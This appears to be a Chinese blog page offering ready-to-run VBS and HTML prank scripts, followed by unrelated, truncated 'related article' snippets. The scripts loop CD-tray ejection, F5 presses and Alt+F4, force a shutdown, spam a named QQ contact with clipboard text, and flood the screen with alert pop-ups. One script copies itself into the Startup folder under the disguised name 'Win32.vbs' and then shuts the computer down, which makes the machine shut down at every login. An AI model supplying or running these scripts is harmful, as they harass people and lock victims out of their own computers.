1. 程式人生 > >幾個簡單實用的vbs命令

幾個簡單實用的vbs命令

vbs簡單設定命令集

新建文字檔案,填入程式碼,將文字字尾改為   .vbs   即可執行!

無限彈出光碟機:

------------------------------------------------

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

------------------------------------------------

無盡語音報數:

無限語音從1數到無限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

------------------------------------------------


無盡重新整理:

慎用,如此重新整理開啟工作管理員都難,只能拔掉電源。

------------------------------------------------

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

------------------------------------------------


修改登錄檔:

------------------------------------------------

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

ws.run"shutdown -p",vbhide

------------------------------------------------


QQ資訊騷擾惡搞:

開啟好友的聊天對話方塊,然後記下聊天對話方塊的名稱(如圖:小敏),把下面程式碼裡的小敏替換一下。程式碼中的“10”代表傳送次數,把10修改一下就可以自定義傳送QQ資訊到好友的次數。把傳送的內容“複製”即可,當開啟本vbs的時候就會把剪下板裡的內容貼上傳送過去。

------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("小敏")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit


直接關機:

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true


------------------------------------------------

不斷按下alt+f4 :

開啟任何程式都關掉

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do


wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop


與網頁結合


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>網頁特效|Linkweb.cn/Js|---很噁心的常見整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('為什麼把滑鼠放到這裡?');
alert('我不是說過不可以這樣嗎?');
alert('你把我的話當什麼了?');
alert('你知道錯了嗎?');
alert('什麼?你居然....');
alert('居然還沒意識到自己做錯了?');
alert('那好,你要為此付出代價!');
alert('我要你在這裡點足一千下......');
alert('什麼?你開始有點後悔了?');
alert('何必呢?');
alert('你當初幹什麼去了?');
alert('不原諒你!');
alert('好從現在開始再點995下......');
alert('你的手開始累了嗎?');
alert('什麼?你已經沒力氣了?');
alert('你一直在求我原諒你啊!');
alert('看來你是真的知道錯了!');
alert('下次你還會這麼做嗎?');
alert('真的不會了?');
alert('那好,今天就放你一馬!');
alert('寫封信給我說聲對不起!');
alert('你能這麼做我很高興!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:[email protected]?subject=對不起,下次不敢了!';">不許把滑鼠移到這裡</a>

嘻試吧爽噢。。

</body>
</html>


VBS開啟網址

SetobjShell = CreateObject("Wscript.Shell")

相關推薦

簡單實用vbs命令

vbs簡單設定命令集 新建文字檔案,填入程式碼,將文字字尾改為   .vbs   即可執行! 無限彈出光碟機: ------------------------------------------------ set wmp=createobject("wmpla

獲取命令使用的方法和簡單的操作命令

網絡運維獲取命令的使用幫助的幾種方法: 1.man (針對LINUX內部的命令) Man 九章:1.用戶命令(所有用戶都可以執行的命令)2.系統調用3.C庫調用4.設備和特殊文件格式5.配置文件格式6.遊戲相關的幫助信息7.雜項8.系統管理類命令9.與內核相關的幫助信息 在每個man手冊中都常見到的一些字

簡單的cmd命令

cmd  --->  開啟命令列視窗 D:  ----> 碟符+冒號  轉換到指定的碟符下面 cd  zixue7  ----->   cd  資料夾   轉換到資料夾 cd\    -----> 轉到當前目錄的根目錄 echo 回顯命令 md 建立一個資料夾 cd 進入一個資料夾

簡單步驟可以提高網站瀏覽體驗

活動 構圖 進一步 故事 層級 單純 例如 我們 建站寶盒 STEP 1確定網站定位 你的網站定位是要以企業形象官網為主,或是以單純販售商品的購物網站,還是要跟使用者做互動活動的網站? 每個網站的目的都不盡相同,形象官網,可能需要著重於品牌理念、品牌故事、公司介紹

JavaSE 最easy出錯的簡單的問題

成員 tde bsp ase log package 標識 多次 年齡 案例1. package cn.itcast.oop; public class ThisDemo { public static void main(String[] args) { S

kali linux 信息搜集之常用的軟件常用命令

安全 kali 信息搜集nmapnmap + ip 地址 掃描主機開放端口nmap -p 1-x + ip 地址 掃描特定主機端口nmap -v -A -sV +ip地址 詳細掃描主機nmap - p 端口 +ip 地址 192.168.1.* 集群內特定ipnmap -O 系統測試nmap -sV +ip

python 簡單算法詳解

把他 color 無序 def 就是 基本 tro 找到 第一個 一、冒泡排序 基本思想:它的思路很有特點循環,兩兩向後比較。它重復地走訪過要排序的數列,一次比較兩個元素,如果他們的順序錯誤就把他們交換過來。走訪數列的工作是重復地進行直到沒有再需要交換,也就是說該數列已經排

簡單用artTemplate的例子

ets lpar icheck security 支持 新版 render sts 手機號換綁 寫幾個簡單的artTemplate的例子,很多框架都有自己的模板(template),沒得時候,可以利用artTemplate.js完成 html文件是: <!DOCTY

圖書管理系統的簡單示例圖

活動圖 body log 業務 圖書管理 活動 class pos 技術 圖書館業務用例圖

php操作數據庫的簡單語句

res mysql while 創建 register 添加數據 對象 創建數據庫 .frm 數據存儲文件介紹 .frm是描述了表的結構 .MYD保存了表的數據記錄 .MYI則是表的索引 windows 命令: window + R -> cmd打開命令窗口 配

[API 開發管理] 分享 eoLinker 實用操作技巧

導出pdf 請求參數 項目文件 lin 本地 方便 tro 批量導入 oracl 一鍵離線導出項目,PDF、WORD等格式任你挑選 舉例說明,如果我要將 “示例素材項目” 導出到本地,並且以 PDF 的格式保存。 首先找到該項目所在空間:演示空間,在左邊一級菜單中選擇 “

非常實用的JQuery程式碼片段

jQuery是一個相容多瀏覽器的javascript庫,核心理念是write less,do more(寫得更少,做得更多)。jQuery使使用者能更方便地處理HTML(標準通用標記語言下的一個應用)、events、實現動畫效果,並且方便地為網站提供AJAX互動。jQuery還有一個比較大的優勢是,它的文件說

非常實用的JQuery代碼片段

內容 處理 resize 只需要 裏的 代碼 反序 表格 方法 jQuery是一個兼容多瀏覽器的javascript庫,核心理念是write less,do more(寫得更少,做得更多)。jQuery使用戶能更方便地處理HTML(標準通用標記語言下的一個應用)、event

SpringBoot 實用的小技巧你瞭解嗎?

前言 最近分享的一些原始碼、框架設計的東西。我發現大家熱情不是特別高,想想大多數應該還是正兒八經寫程式碼的居多;這次就分享一點接地氣的: SpringBoot 使用中的一些小技巧。 算不上多高大上的東西,但都還挺有用。 遮蔽外部依賴 第一個是遮蔽外部依賴,什麼意思

關於Fibonacci數列簡單的演算法

無窮數列1,1,2,3,5,8,13,21,34,55,……,稱為Fibonacci數列。它可以遞迴地定義為: 第n個Fibonacci數可遞迴地計算如下: int fibonacci(int n)    {     

乾貨學起來!分享4簡單實用的Word技巧,請低調收藏!

今天給大家分享4個最基本的Word技巧,簡單又實用! 快速切換英文大小寫 選中文字,按快捷鍵"Shift+F3"即可任意切換字母大小寫。 具體操作如下: 快速調整字型大小 選中文字,按"Ctrl+]"組合鍵可擴大字型,按"Ctrl+["組合鍵則縮小字型。 具體操作

11簡單實用技巧--Java效能調優

多數開發人員認為效能優化是個比較複雜的問題,需要大量的經驗和知識。是的,這並不沒有錯。誠然,優化應用程式以獲得最好的效能並不是一件容易的事情,但這並不意味著你在沒有獲得這些經驗和知識之前就不能做任何事。下面有幾個很容易遵循的建議和最佳實踐能夠幫你建立一個性能良好的應用程式。  這些建議中的

聊聊簡單的排序演算法

前言 排序是演算法的入門知識,其經典思想可以用在許多演算法中,在實際應用中是相當常見的一類。記得在本科的資料結構課上就有講過幾個經典的排序演算法,現在來好好地回顧下。 在回顧之前,瞭解一個概念,這個概念也是我剛剛瞭解的。(手動扶額-。-) 排序演算法穩定性:假定在待排序的記錄序列

列舉常用的linux命令以及說明?

在這裡,為大家整理了一些經常用到的Linux命令,及常用引數,希望大家有用!如有偏頗,請指正! LS命令 -作用:顯示目錄內容,類似DOS下的DIR -格式:LS【options】【filename】 -常用引數:   >-a:all,不隱藏任何以"."字元開始的檔案  

簡單if程式的細節比較與加法程式設計

關於簡單的if判斷語句的不同寫法: 輸出0-9十個整數: 第一個程式:   #include<stdio.h>#include<stdlib.h>int main(){int i = 0;while (i <= 10){printf("%d ", i);i =